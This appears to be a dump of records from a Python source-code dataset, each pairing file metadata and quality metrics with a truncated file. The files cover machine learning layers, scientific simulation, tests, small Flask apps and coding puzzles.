0.015888
0.237375
0.198979
0.198979
0.188765
0.164933
0.164933
0
0.017174
0.246964
8,892
279
110
31.870968
0.772401
0.233468
0
0.230263
0
0
0.137084
0.018962
0
0
0
0
0
1
0.111842
false
0
0.052632
0
0.269737
0.197368
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a80bd9815a0efacc56fe16adf0b6e490442b6851
161
py
Python
magic_markdown/__init__.py
transfluxus/magic_markdown
3a71d0c0a0937dc87973b6e19389f27575e16208
[ "MIT" ]
10
2019-04-09T17:33:52.000Z
2021-05-10T04:58:59.000Z
magic_markdown/__init__.py
transfluxus/magic_markdown
3a71d0c0a0937dc87973b6e19389f27575e16208
[ "MIT" ]
null
null
null
magic_markdown/__init__.py
transfluxus/magic_markdown
3a71d0c0a0937dc87973b6e19389f27575e16208
[ "MIT" ]
null
null
null
name = "magic_markdown" from magic_markdown.MagicMarkdown import MagicMarkdown def load_ipython_extension(ipython): ipython.register_magics(MagicMarkdown)
23
54
0.838509
18
161
7.222222
0.666667
0.2
0
0
0
0
0
0
0
0
0
0
0.099379
161
6
55
26.833333
0.896552
0
0
0
0
0
0.086957
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
a80cfdeae5dd9779dfdf75f7f464b230527883ae
1,167
py
Python
src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py
BoKleynen/P-O-3-Smart-Energy-Home
4849038c47199aa0a752ff5a4f2afa91f4a9e8f0
[ "MIT" ]
null
null
null
src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py
BoKleynen/P-O-3-Smart-Energy-Home
4849038c47199aa0a752ff5a4f2afa91f4a9e8f0
[ "MIT" ]
null
null
null
src/Tests/power_generators_tests/solar_panel_tests/solar_panel_east_west_test.py
BoKleynen/P-O-3-Smart-Energy-Home
4849038c47199aa0a752ff5a4f2afa91f4a9e8f0
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import pandas as pd from house.production.solar_panel import SolarPanel from house import House from math import pi from time import time start_time = time() solar_panel_east = SolarPanel(285.0, 10*pi/180, -pi/2, 0.87, 1.540539, 10) solar_panel_west = SolarPanel(285.0, 10*pi/180, pi/2...
33.342857
167
0.642674
182
1,167
3.994505
0.461538
0.082531
0.035763
0.044017
0.225585
0.173315
0.173315
0.099037
0.099037
0.099037
0
0.105092
0.209083
1,167
34
168
34.323529
0.682557
0.045416
0
0
0
0.043478
0.179279
0.081081
0
0
0
0
0
1
0
false
0
0.26087
0
0.26087
0.043478
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a813a7003f5f5d2c9a1b282747c12188d836b770
2,468
py
Python
src/lsct/models/cnn_1d.py
junyongyou/lsct_phiqnet
ffa546b3225c7db0bc7977565dc11a91186fe939
[ "MIT" ]
9
2021-11-01T06:06:33.000Z
2022-02-07T12:21:18.000Z
src/lsct/models/cnn_1d.py
junyongyou/lsct_phiqnet
ffa546b3225c7db0bc7977565dc11a91186fe939
[ "MIT" ]
null
null
null
src/lsct/models/cnn_1d.py
junyongyou/lsct_phiqnet
ffa546b3225c7db0bc7977565dc11a91186fe939
[ "MIT" ]
1
2022-03-06T07:38:32.000Z
2022-03-06T07:38:32.000Z
from tensorflow.keras.layers import Layer, Conv1D, Input, Dropout, MaxPool1D, Masking import tensorflow.keras.backend as K from tensorflow.keras import Model import tensorflow as tf class CNN1D(Layer): def __init__(self, filters=(32, 64), pooling_sizes=(4, 4), kernel_size=3, stride_size=1, using_dropout=True, ...
37.393939
112
0.573339
306
2,468
4.444444
0.313725
0.052941
0.027941
0.029412
0
0
0
0
0
0
0
0.027778
0.329011
2,468
65
113
37.969231
0.793478
0.15316
0
0
0
0
0.011988
0
0
0
0
0
0
1
0.086957
false
0
0.086957
0.021739
0.23913
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a81433a2173979769be9813ef0e72f88f835d3f9
339
py
Python
1 clean code/auto_format_on_save.py
philippschmalen/ml-devops-engineer
98c4c94b807215e2a909905235bde4a8d022477f
[ "MIT" ]
null
null
null
1 clean code/auto_format_on_save.py
philippschmalen/ml-devops-engineer
98c4c94b807215e2a909905235bde4a8d022477f
[ "MIT" ]
null
null
null
1 clean code/auto_format_on_save.py
philippschmalen/ml-devops-engineer
98c4c94b807215e2a909905235bde4a8d022477f
[ "MIT" ]
null
null
null
""" Play with autoformatting on save Ensure to pip install black within your environment """ # test linting with an unnecessary import # it should complain and suggest a solution import sys thisdict = { "brand": "Ford", "model": "Mustang", "year": 1964, "okay": "This is getting way too long", } def...
16.142857
51
0.666667
45
339
5.022222
0.955556
0
0
0
0
0
0
0
0
0
0
0.015267
0.227139
339
20
52
16.95
0.847328
0.492625
0
0
0
0
0.349693
0
0
0
0
0
0
1
0.111111
false
0.111111
0.111111
0
0.222222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
a81435452d7a1fd0220c50904adbc5e774a45f27
931
py
Python
test/utils.py
eddrial/aapy
929f554aea24c0a893052f0907488e0a843fd5dd
[ "Apache-2.0" ]
null
null
null
test/utils.py
eddrial/aapy
929f554aea24c0a893052f0907488e0a843fd5dd
[ "Apache-2.0" ]
null
null
null
test/utils.py
eddrial/aapy
929f554aea24c0a893052f0907488e0a843fd5dd
[ "Apache-2.0" ]
null
null
null
import json import os import mock def mock_response(json_str=None, raw=None): resp = mock.MagicMock() if json_str is not None: loaded_json = json.loads(json_str) resp.json = mock.MagicMock(return_value=loaded_json) if raw is not None: resp.raw = mock.MagicMock() resp.raw.r...
21.159091
68
0.651987
133
931
4.428571
0.360902
0.088285
0.03056
0.081494
0.118846
0.118846
0.118846
0
0
0
0
0
0.26101
931
43
69
21.651163
0.856105
0.274973
0
0
0
0
0.006472
0
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a81666f0e6701e07b7dd6f00c88fe2096ec32290
391
py
Python
archive/AIAP_v1.00/v1.2b/promoter_bin.py
ShaopengLiu1/Zhanglab_ATAC-seq_analysis
3f615c159bb04fcc3f7b777e00c5f04ff105898c
[ "MIT" ]
null
null
null
archive/AIAP_v1.00/v1.2b/promoter_bin.py
ShaopengLiu1/Zhanglab_ATAC-seq_analysis
3f615c159bb04fcc3f7b777e00c5f04ff105898c
[ "MIT" ]
null
null
null
archive/AIAP_v1.00/v1.2b/promoter_bin.py
ShaopengLiu1/Zhanglab_ATAC-seq_analysis
3f615c159bb04fcc3f7b777e00c5f04ff105898c
[ "MIT" ]
1
2018-02-26T03:14:46.000Z
2018-02-26T03:14:46.000Z
import sys peak=[] with open(sys.argv[1],'r') as f: for line in f: line=line.strip('\n').split('\t') peak.append(int(line[3])) f.close() num=int(len(peak)/100.0) bin=[] for i in range(99): bin.append(str(i+1)+'\t'+str(sum(peak[num*i:num*(i+1)])/(num*1.0))+'\n') bin.append('100'+'\t'+str(sum(peak[num*99:])/(num*...
20.578947
73
0.59335
83
391
2.795181
0.409639
0.068966
0.060345
0.094828
0.12069
0
0
0
0
0
0
0.053824
0.097187
391
18
74
21.722222
0.603399
0
0
0
0
0
0.061381
0
0
0
0
0
0
1
0
false
0
0.066667
0
0.066667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a8172aac1601eb8a00a3b924aa63876138f48a83
1,347
py
Python
Code/Database Creator/examples.py
Storm-Petrel/HawkEye
f9afde3866ab9e5e71de7f2be4d836be9ed48d69
[ "MIT" ]
null
null
null
Code/Database Creator/examples.py
Storm-Petrel/HawkEye
f9afde3866ab9e5e71de7f2be4d836be9ed48d69
[ "MIT" ]
null
null
null
Code/Database Creator/examples.py
Storm-Petrel/HawkEye
f9afde3866ab9e5e71de7f2be4d836be9ed48d69
[ "MIT" ]
null
null
null
import csv from faker import Faker fake = Faker() for x in range(0, 10): placa = fake.pystr(min_chars=3, max_chars=3).upper() + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) + str(fake.pydecimal(left_digits=1, right_digits=1, positive=True)) placa = placa.replace(".","") atua...
51.807692
193
0.697847
195
1,347
4.733333
0.364103
0.091008
0.108342
0.216685
0.408451
0.408451
0.110509
0.110509
0.110509
0.110509
0
0.122203
0.137342
1,347
25
194
53.88
0.672117
0
0
0
0
0
0.012103
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
a8178087a6d24532c3fa392eae43c6d6a8b30612
4,595
py
Python
MultiInputDialog.py
chemmatcars/XModFit
7d1298448d1908d78797fd67ce0a00ecfaf17629
[ "MIT" ]
null
null
null
MultiInputDialog.py
chemmatcars/XModFit
7d1298448d1908d78797fd67ce0a00ecfaf17629
[ "MIT" ]
2
2019-07-31T23:14:14.000Z
2020-12-26T16:27:02.000Z
MultiInputDialog.py
chemmatcars/XModFit
7d1298448d1908d78797fd67ce0a00ecfaf17629
[ "MIT" ]
2
2019-07-31T22:22:06.000Z
2020-07-14T04:58:16.000Z
from PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QLabel, QLineEdit, QVBoxLayout, QMessageBox, QCheckBox,\ QSpinBox, QComboBox, QListWidget, QDialog, QFileDialog, QProgressBar, QTableWidget, QTableWidgetItem,\ QAbstractItemView, QSpinBox, QSplitter, QSizePolicy, QAbstractScrollArea, QHBoxLayout, Q...
47.864583
120
0.654189
449
4,595
6.657016
0.289532
0.120442
0.138508
0.05353
0.264972
0.241552
0.128137
0.128137
0.057544
0.057544
0
0.009078
0.232862
4,595
96
121
47.864583
0.838865
0
0
0.045455
0
0
0.016536
0
0
0
0
0
0
1
0.079545
false
0
0.056818
0
0.147727
0.011364
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a81b25109e2c25d80338be4ee486823e581a2347
3,813
py
Python
src/handlers.py
jneethling/WikiStats
232640bf3799851554fa4c13cee8a7f63eb532e2
[ "MIT" ]
null
null
null
src/handlers.py
jneethling/WikiStats
232640bf3799851554fa4c13cee8a7f63eb532e2
[ "MIT" ]
1
2022-01-09T12:07:13.000Z
2022-01-09T15:29:41.000Z
src/handlers.py
jneethling/WikiStats
232640bf3799851554fa4c13cee8a7f63eb532e2
[ "MIT" ]
null
null
null
import os import psutil import json import sqlite3 import threading from datetime import datetime, timezone from websocket import create_connection class CustomHandler: def __init__(self): self.working = False self.counter = 0 self.ws = None if self.dbReady('./data/wiki_statsDB'):...
32.87069
199
0.575924
445
3,813
4.847191
0.332584
0.040797
0.031525
0.034771
0.203987
0.159481
0.159481
0.121465
0.121465
0.078813
0
0.009157
0.312615
3,813
115
200
33.156522
0.813812
0
0
0.228261
0
0
0.218988
0.007606
0
0
0
0
0
1
0.108696
false
0
0.076087
0
0.293478
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a81d611063f78006b5948c72bc4dd6b96d015544
1,035
py
Python
simulate/continue.py
kmckiern/scripts
acc8326ca653d804ee06752af9e7f5b011fc6e0e
[ "MIT" ]
2
2015-04-27T01:57:43.000Z
2015-05-01T18:18:56.000Z
simulate/continue.py
kmckiern/scripts
acc8326ca653d804ee06752af9e7f5b011fc6e0e
[ "MIT" ]
null
null
null
simulate/continue.py
kmckiern/scripts
acc8326ca653d804ee06752af9e7f5b011fc6e0e
[ "MIT" ]
null
null
null
from __future__ import print_function from simtk.openmm import app import simtk.openmm as mm from simtk import unit from sys import stdout import os import time import numpy as np import argparse from equil import setup_sim, dynamix parser = argparse.ArgumentParser(description='equilibrate structures') parser.add_argu...
26.538462
88
0.745894
160
1,035
4.7375
0.48125
0.047493
0.08971
0.044855
0.050132
0
0
0
0
0
0
0.009967
0.127536
1,035
38
89
27.236842
0.829457
0.058937
0
0
0
0
0.128999
0
0
0
0
0
0
1
0
false
0
0.357143
0
0.357143
0.035714
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
a81eba16cf9a55afaac7c0432d5bc776ba731b35
40,893
py
Python
py/agentflow/preprocessors/observation_transforms_test.py
wx-b/dm_robotics
5d407622360ccf7f0b4b50bcee84589e2cfd0783
[ "Apache-2.0" ]
128
2021-09-08T18:39:39.000Z
2022-03-27T11:29:05.000Z
py/agentflow/preprocessors/observation_transforms_test.py
wx-b/dm_robotics
5d407622360ccf7f0b4b50bcee84589e2cfd0783
[ "Apache-2.0" ]
7
2021-10-11T14:26:17.000Z
2022-03-15T17:26:45.000Z
py/agentflow/preprocessors/observation_transforms_test.py
LaudateCorpus1/dm_robotics
647bc810788c74972c1684a8d2e4d2dfd2791485
[ "Apache-2.0" ]
8
2021-09-08T18:25:49.000Z
2022-02-21T23:45:16.000Z
# Copyright 2020 DeepMind Technologies Limited. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
39.358037
80
0.706747
5,065
40,893
5.367226
0.065745
0.045908
0.03215
0.034762
0.853596
0.821115
0.795292
0.780246
0.716572
0.70252
0
0.017269
0.191426
40,893
1,038
81
39.395954
0.804899
0.06852
0
0.658854
0
0
0.020809
0
0
0
0
0
0.080729
1
0.044271
false
0
0.016927
0.003906
0.076823
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
a81fa302f2ff4cbc6dc18bbb647920f29a503d5e
1,897
py
Python
2017/23b.py
mcbor/advent_of_code_2016
14453b970d3e0f031ae6a66f2028652b6ed870dd
[ "MIT" ]
1
2016-12-17T10:53:22.000Z
2016-12-17T10:53:22.000Z
2017/23b.py
mcbor/adventofcode
14453b970d3e0f031ae6a66f2028652b6ed870dd
[ "MIT" ]
null
null
null
2017/23b.py
mcbor/adventofcode
14453b970d3e0f031ae6a66f2028652b6ed870dd
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 23b.py ~~~~~~ Advent of Code 2017 - Day 23: Coprocessor Conflagration Part Two Now, it's time to fix the problem. The debug mode switch is wired directly to register a. You flip the switch, which makes register a now start at 1 when the pr...
24.012658
79
0.615709
297
1,897
3.89899
0.542088
0.043178
0.02418
0.025907
0
0
0
0
0
0
0
0.035897
0.280443
1,897
78
80
24.320513
0.812454
0.508171
0
0.16129
0
0
0.045346
0
0
0
0
0
0.064516
1
0.096774
false
0
0.064516
0
0.354839
0.032258
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a81fc289f1eb7f0a4f761bd960c55555bea22c98
4,456
py
Python
game_of_life.py
WinterWonderland/Game_of_Life
99eced42146a195b6a7bc423f76f0fd79f5771d2
[ "MIT" ]
null
null
null
game_of_life.py
WinterWonderland/Game_of_Life
99eced42146a195b6a7bc423f76f0fd79f5771d2
[ "MIT" ]
null
null
null
game_of_life.py
WinterWonderland/Game_of_Life
99eced42146a195b6a7bc423f76f0fd79f5771d2
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Thu Sep 20 11:59:50 2018 @author: klaus """ import numpy as np import matplotlib.pyplot as plt import time import random from argparse import ArgumentParser, RawTextHelpFormatter class GameOfLife: def __init__(self, width, height, interval, seed): ran...
41.64486
123
0.47711
521
4,456
4.001919
0.264875
0.069065
0.052758
0.031655
0.326139
0.306954
0.306954
0.235971
0.235971
0.228777
0
0.034879
0.414497
4,456
106
124
42.037736
0.764278
0.016607
0
0.154762
0
0
0.114808
0
0
0
0
0
0
1
0.047619
false
0
0.059524
0
0.142857
0.011905
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a82054bcbbc93091d6cde0c3bba2fa420fc0e4b0
520
py
Python
tests/mixins/back_tests.py
StuartMacKay/ebird-api
14b5c777548416a58abec05e25cd4b9a8e22f210
[ "MIT" ]
9
2020-05-16T20:26:33.000Z
2021-11-02T06:24:46.000Z
tests/mixins/back_tests.py
StuartMacKay/ebird-api
14b5c777548416a58abec05e25cd4b9a8e22f210
[ "MIT" ]
17
2019-06-22T09:41:22.000Z
2020-09-11T06:25:21.000Z
tests/mixins/back_tests.py
ProjectBabbler/ebird-api
14b5c777548416a58abec05e25cd4b9a8e22f210
[ "MIT" ]
null
null
null
from ebird.api.constants import DEFAULT_BACK from tests.mixins.base import BaseMixin class BackTestsMixin(BaseMixin): def test_back_is_sent(self): query = self.api_call(back=10)[1] self.assertEqual(query["back"], 10) def test_default_back_is_not_sent(self): query = self.api_call(back=...
30.588235
51
0.709615
75
520
4.68
0.426667
0.079772
0.074074
0.096866
0.31339
0.159544
0.159544
0
0
0
0
0.018868
0.184615
520
16
52
32.5
0.808962
0
0
0
0
0
0.017308
0
0
0
0
0
0.166667
1
0.25
false
0
0.166667
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
a820c01ed9ab1a3512b23d858002b832b81b6f26
506
py
Python
examples/snippets/data_io/df_connect/export_simple.py
nguyentr17/tamr-toolbox
1d27101eda12f937813cdbfe27e2fa9c33ac34d2
[ "Apache-2.0" ]
6
2021-02-09T22:27:55.000Z
2022-01-14T18:15:17.000Z
examples/snippets/data_io/df_connect/export_simple.py
nguyentr17/tamr-toolbox
1d27101eda12f937813cdbfe27e2fa9c33ac34d2
[ "Apache-2.0" ]
34
2021-02-09T22:23:33.000Z
2022-03-31T16:22:51.000Z
examples/snippets/data_io/df_connect/export_simple.py
nguyentr17/tamr-toolbox
1d27101eda12f937813cdbfe27e2fa9c33ac34d2
[ "Apache-2.0" ]
12
2021-02-09T21:17:10.000Z
2022-02-09T16:35:39.000Z
""" Export data from Tamr using df-connect. An example where everything is default in config file, which implies exported data is written back to same database as ingested from. """ import tamr_toolbox as tbox my_config = tbox.utils.config.from_yaml("examples/resources/conf/connect.config.yaml") my_connect = tbox.dat...
36.142857
94
0.8083
79
506
4.949367
0.518987
0.069054
0.061381
0.061381
0.127877
0.127877
0
0
0
0
0
0
0.102767
506
13
95
38.923077
0.861233
0.341897
0
0
0
0
0.24
0.132308
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a822bff3f043bc516ac3c82ab2394920c525256d
1,700
py
Python
services/web/project/auth/forms.py
petervuyk456/persona_finance
5c4c1bea0e176f37cc122571b846de1f020bdd92
[ "MIT" ]
null
null
null
services/web/project/auth/forms.py
petervuyk456/persona_finance
5c4c1bea0e176f37cc122571b846de1f020bdd92
[ "MIT" ]
null
null
null
services/web/project/auth/forms.py
petervuyk456/persona_finance
5c4c1bea0e176f37cc122571b846de1f020bdd92
[ "MIT" ]
null
null
null
from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, BooleanField from wtforms.validators import DataRequired, Length, EqualTo, URL from project.auth.models import User class LoginForm(FlaskForm): username = StringField('Username', [DataRequired(), Length(max=64)]) password = Passwo...
32.075472
72
0.629412
177
1,700
6.011299
0.327684
0.084586
0.050752
0.067669
0.56015
0.530075
0.413534
0.413534
0.413534
0.330827
0
0.009724
0.274118
1,700
52
73
32.692308
0.852512
0.017059
0
0.538462
0
0
0.094068
0
0
0
0
0
0
1
0.051282
false
0.25641
0.102564
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
a82471d2b32cd5726156914bf073feb69a5965b8
10,619
py
Python
projectGo.py
KyleBrownCS/SoftDev2
c992061a849f19f1ccbea71e4c0aa97fb2e135dc
[ "MIT" ]
null
null
null
projectGo.py
KyleBrownCS/SoftDev2
c992061a849f19f1ccbea71e4c0aa97fb2e135dc
[ "MIT" ]
null
null
null
projectGo.py
KyleBrownCS/SoftDev2
c992061a849f19f1ccbea71e4c0aa97fb2e135dc
[ "MIT" ]
null
null
null
from flask import Flask, render_template, request, jsonify import sqlite3 import json import re import logging from applicationInfo import ApplicationInfo logging.basicConfig(filename='/var/www/SoftDev2/projectGo.log', level=logging.DEBUG) app = Flask(__name__) applicationInfo = ApplicationInfo() row_pos_obligation...
39.475836
297
0.617384
1,185
10,619
5.311392
0.149367
0.042898
0.051478
0.048618
0.578329
0.487448
0.451859
0.40769
0.378456
0.371624
0
0.010402
0.266692
10,619
268
298
39.623134
0.797868
0.034278
0
0.530973
0
0.00885
0.176217
0.014766
0
0
0
0
0
0
null
null
0
0.026549
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
a8247bed0a1cb5051fa0d35c0fab64fca16aa20d
1,396
py
Python
python/cuML/test/test_dbscan.py
rongou/cuml
9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec
[ "Apache-2.0" ]
null
null
null
python/cuML/test/test_dbscan.py
rongou/cuml
9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec
[ "Apache-2.0" ]
null
null
null
python/cuML/test/test_dbscan.py
rongou/cuml
9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2018, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
32.465116
86
0.703438
223
1,396
4.345291
0.497758
0.06192
0.026832
0.033024
0.03096
0
0
0
0
0
0
0.041703
0.175501
1,396
42
87
33.238095
0.800174
0.401862
0
0
0
0
0.035452
0
0
0
0
0
0.05
1
0.05
false
0
0.3
0
0.35
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a827531247ffd24ded530b9e0dea0c181d142c7b
114
py
Python
math_and_algorithm/024.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
2
2022-01-22T07:56:58.000Z
2022-01-24T00:29:37.000Z
math_and_algorithm/024.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
null
null
null
math_and_algorithm/024.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
null
null
null
N = int(input()) ans = 0 for _ in range(N): p, q = map(int, input().split()) ans += (1 / p) * q print(ans)
19
36
0.5
21
114
2.666667
0.666667
0.285714
0
0
0
0
0
0
0
0
0
0.02381
0.263158
114
6
37
19
0.642857
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
a8276b0d3215a9fe2604eec700ad87c77dc2f29b
769
py
Python
LeetCode/0023_merge_k_sorted_lists.py
KanegaeGabriel/ye-olde-interview-prep-grind
868362872523a5688f49ab48efb09c3008e0db4d
[ "MIT" ]
1
2020-05-13T19:16:23.000Z
2020-05-13T19:16:23.000Z
LeetCode/0023_merge_k_sorted_lists.py
KanegaeGabriel/ye-olde-interview-prep-grind
868362872523a5688f49ab48efb09c3008e0db4d
[ "MIT" ]
null
null
null
LeetCode/0023_merge_k_sorted_lists.py
KanegaeGabriel/ye-olde-interview-prep-grind
868362872523a5688f49ab48efb09c3008e0db4d
[ "MIT" ]
null
null
null
from heapq import heappush, heappop class ListNode: def __init__(self, x): self.val = x self.next = None def __lt__(self, other): return self.val < other.val def mergeKLists(lists): result = ListNode(-1) p = result heap = [] for l in lists: if l: heappush(heap...
17.477273
45
0.579974
121
769
3.619835
0.322314
0.136986
0.027397
0
0
0
0
0
0
0
0
0.054945
0.289987
769
44
46
17.477273
0.747253
0.019506
0
0.060606
0
0
0.001328
0
0
0
0
0
0
1
0.090909
false
0
0.030303
0.030303
0.212121
0.060606
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a8281ad0fab5136b54ef02f2bff2a74dd9aaaf90
166
py
Python
archiver/utils.py
jenrik/archiver
b9e10661d6a79b745796b248c35287db232da8ff
[ "BSD-3-Clause" ]
null
null
null
archiver/utils.py
jenrik/archiver
b9e10661d6a79b745796b248c35287db232da8ff
[ "BSD-3-Clause" ]
null
null
null
archiver/utils.py
jenrik/archiver
b9e10661d6a79b745796b248c35287db232da8ff
[ "BSD-3-Clause" ]
null
null
null
def archive_link(link): # Create a snapshot of the link on the internet archive # ToDo # Ref: https://archive.readme.io/docs/creating-a-snapshot pass
27.666667
61
0.692771
25
166
4.56
0.72
0.157895
0
0
0
0
0
0
0
0
0
0
0.210843
166
5
62
33.2
0.870229
0.686747
0
0
0
0
0
0
0
0
0
0.2
0
1
0.5
false
0.5
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
1
0
0
0
0
0
5
a82a766dd5a8919e5aec354cbe63b71c9cd59549
2,297
py
Python
source/cell_mask/cell_mask.py
zhanyinx/SPT_analysis
1cf806c1fd6051e7fc998d2860a16bea6aa9de1a
[ "MIT" ]
1
2021-07-09T11:51:04.000Z
2021-07-09T11:51:04.000Z
source/cell_mask/cell_mask.py
zhanyinx/SPT_analysis
1cf806c1fd6051e7fc998d2860a16bea6aa9de1a
[ "MIT" ]
null
null
null
source/cell_mask/cell_mask.py
zhanyinx/SPT_analysis
1cf806c1fd6051e7fc998d2860a16bea6aa9de1a
[ "MIT" ]
null
null
null
import argparse import glob import numpy as np import os import skimage.io import torch import tifffile from cellpose import models def _parse_args(): """Parse command-line arguments.""" parser = argparse.ArgumentParser() parser.add_argument( "-i", "--input", type=str, def...
25.241758
85
0.562908
284
2,297
4.43662
0.394366
0.042857
0.040476
0.042857
0.180952
0.120635
0.120635
0.065079
0.065079
0.065079
0
0.012141
0.318677
2,297
90
86
25.522222
0.792971
0.0431
0
0.256757
0
0
0.145405
0.015546
0
0
0
0
0
1
0.027027
false
0
0.108108
0
0.148649
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a82b6067d87e3c320c8e0fb55b9b998dccade592
14,134
py
Python
02-customer-cliff-dive/python/emery_leslie.py
leslem/insight-data-challenges
14c56d30663d7fef178b820d2128dbf4782c1200
[ "MIT" ]
null
null
null
02-customer-cliff-dive/python/emery_leslie.py
leslem/insight-data-challenges
14c56d30663d7fef178b820d2128dbf4782c1200
[ "MIT" ]
1
2021-06-08T02:43:08.000Z
2021-06-08T03:05:21.000Z
02-customer-cliff-dive/python/emery_leslie.py
leslem/insight-data-challenges
14c56d30663d7fef178b820d2128dbf4782c1200
[ "MIT" ]
null
null
null
# # Customer cliff dive data challenge # 2020-02-17 # Leslie Emery # ## Summary # ### The problem # The head of the Yammer product team has noticed a precipitous drop in weekly active users, which is one of the main KPIs for customer engagement. What has caused this drop? # ### My approach and results # I began b...
51.963235
524
0.743809
2,168
14,134
4.660978
0.223247
0.038001
0.032063
0.03048
0.35052
0.307472
0.254132
0.215636
0.192083
0.15616
0
0.008326
0.150276
14,134
271
525
52.154982
0.833056
0.417787
0
0.163265
0
0.006803
0.22371
0.045332
0
0
0
0
0
1
0
false
0
0.061224
0
0.061224
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
1
0
a82ba74fc6af916b17675886faaf3aad6278c7c2
796
py
Python
students/K33402/laboratory_works/Ermakova_Anna/laboratory_work_1/task_4/client.py
ShubhamKunal/ITMO_ICT_WebDevelopment_2020-2021
bb91c91a56d21cec2b12ae4cc722eaa652a88420
[ "MIT" ]
4
2020-09-03T15:41:42.000Z
2021-12-24T15:28:20.000Z
